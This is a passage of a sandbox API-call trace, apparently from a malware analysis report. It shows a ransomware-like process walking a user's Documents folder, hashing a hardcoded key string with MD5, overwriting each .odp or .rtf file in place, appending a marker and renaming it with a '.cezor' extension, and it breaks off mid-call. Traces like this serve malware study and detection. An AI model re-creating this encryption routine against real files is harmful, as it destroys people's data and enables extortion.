1 [0060.852] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.852] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17d8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.852] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.852] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.852] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.852] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.852] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.852] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.852] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.852] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.852] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.852] CloseHandle (hObject=0x5c4) returned 1 [0060.853] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.853] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0060.853] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.853] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\l8IL3_dOyLyH.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\l8il3_doylyh.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\l8IL3_dOyLyH.odp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\l8il3_doylyh.odp.cezor")) returned 1 [0060.854] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.854] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.855] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fee668 | out: hHeap=0x670000) returned 1 [0060.855] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad0bcd30, ftCreationTime.dwHighDateTime=0x1d4cbe8, ftLastAccessTime.dwLowDateTime=0xcc7332b0, ftLastAccessTime.dwHighDateTime=0x1d4c780, ftLastWriteTime.dwLowDateTime=0xcc7332b0, ftLastWriteTime.dwHighDateTime=0x1d4c780, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NtnCGgs", cAlternateFileName="")) returned 1 [0060.855] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e3d0 [0060.855] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.855] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ebc8 [0060.855] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.855] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e3d0 | out: hHeap=0x670000) returned 1 [0060.855] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0fcf310, ftCreationTime.dwHighDateTime=0x1d4cbbe, ftLastAccessTime.dwLowDateTime=0x61cfe3b0, ftLastAccessTime.dwHighDateTime=0x1d4d322, ftLastWriteTime.dwLowDateTime=0x61cfe3b0, ftLastWriteTime.dwHighDateTime=0x1d4d322, nFileSizeHigh=0x0, nFileSizeLow=0x103a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QITXJJCFSuy.rtf", cAlternateFileName="QITXJJ~1.RTF")) returned 1 [0060.855] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.855] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fee668 [0060.855] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.855] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\QITXJJCFSuy.rtf") returned=".rtf" [0060.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\QITXJJCFSuy.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\qitxjjcfsuy.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.855] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=66468) returned 1 [0060.855] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.858] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1037e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.858] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.858] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.858] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.858] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.859] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x103a4, lpOverlapped=0x0) returned 1 [0060.859] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.859] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.859] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.859] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.859] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e3d0) returned 1 [0060.860] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.860] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.860] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.860] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.860] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.860] GetLastError () returned 0x0 [0060.860] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.860] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0060.860] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.860] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x103a0) returned 0x3132418 [0060.860] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.861] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.861] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x1039f, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x1039f, lpOverlapped=0x0) returned 1 [0060.861] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.861] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x103a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.861] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.861] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.861] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.861] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.861] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.861] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.861] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.861] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.861] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.861] CloseHandle (hObject=0x5c4) returned 1 [0060.862] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.862] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0060.862] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.862] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\QITXJJCFSuy.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\qitxjjcfsuy.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\QITXJJCFSuy.rtf.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\qitxjjcfsuy.rtf.cezor")) returned 1 [0060.863] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.863] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.864] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fee668 | out: hHeap=0x670000) returned 1 [0060.864] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d14890, ftCreationTime.dwHighDateTime=0x1d4d320, ftLastAccessTime.dwLowDateTime=0x51ae4c70, ftLastAccessTime.dwHighDateTime=0x1d4c83b, ftLastWriteTime.dwLowDateTime=0x51ae4c70, ftLastWriteTime.dwHighDateTime=0x1d4c83b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rpss_8PAcreSznq0jw9", cAlternateFileName="RPSS_8~1")) returned 1 [0060.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301d980 [0060.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfc) returned 0x30ffd28 [0060.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e3d0 [0060.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d9d8 [0060.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0060.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0060.864] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.864] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0060.864] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.864] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee788 | out: hHeap=0x670000) returned 1 [0060.864] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.864] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ebc8 | out: hHeap=0x670000) returned 1 [0060.864] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0060.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dab0 [0060.864] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d980 | out: hHeap=0x670000) returned 1 [0060.864] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.864] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e445ba0, ftCreationTime.dwHighDateTime=0x1d4ccd0, ftLastAccessTime.dwLowDateTime=0xa1828d70, ftLastAccessTime.dwHighDateTime=0x1d4c93e, ftLastWriteTime.dwLowDateTime=0xa1828d70, ftLastWriteTime.dwHighDateTime=0x1d4c93e, nFileSizeHigh=0x0, nFileSizeLow=0xe444, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wYeZ7WgnHNP8l.rtf", cAlternateFileName="WYEZ7W~1.RTF")) returned 1 [0060.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0060.864] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.865] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\wYeZ7WgnHNP8l.rtf") returned=".rtf" [0060.865] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\wYeZ7WgnHNP8l.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\wyez7wgnhnp8l.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.865] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=58436) returned 1 [0060.865] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.867] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe41e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.867] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.868] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.868] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.868] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.868] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xe444, lpOverlapped=0x0) returned 1 [0060.868] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.868] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.868] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.868] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.868] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0060.869] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.869] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.869] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.869] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.869] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.869] GetLastError () returned 0x0 [0060.869] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.869] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0060.869] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.869] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe440) returned 0x3132418 [0060.870] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.870] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.870] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xe43f, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xe43f, lpOverlapped=0x0) returned 1 [0060.870] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.870] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.870] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.870] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.870] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.870] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.870] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.870] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.870] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.870] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.870] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.871] CloseHandle (hObject=0x5c4) returned 1 [0060.871] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.871] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0060.872] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.872] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\wYeZ7WgnHNP8l.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\wyez7wgnhnp8l.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\wYeZ7WgnHNP8l.rtf.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\wyez7wgnhnp8l.rtf.cezor")) returned 1 [0060.872] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.872] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.873] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0060.873] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e445ba0, ftCreationTime.dwHighDateTime=0x1d4ccd0, ftLastAccessTime.dwLowDateTime=0xa1828d70, ftLastAccessTime.dwHighDateTime=0x1d4c93e, ftLastWriteTime.dwLowDateTime=0xa1828d70, ftLastWriteTime.dwHighDateTime=0x1d4c93e, nFileSizeHigh=0x0, nFileSizeLow=0xe444, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wYeZ7WgnHNP8l.rtf", cAlternateFileName="WYEZ7W~1.RTF")) returned 0 [0060.873] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.873] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0060.873] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.873] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.873] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.873] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.873] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.873] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.873] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.873] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.873] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.873] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.873] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.873] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.873] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.873] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.873] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.874] RtlAllocateHeap (HeapHandle=0x670000, 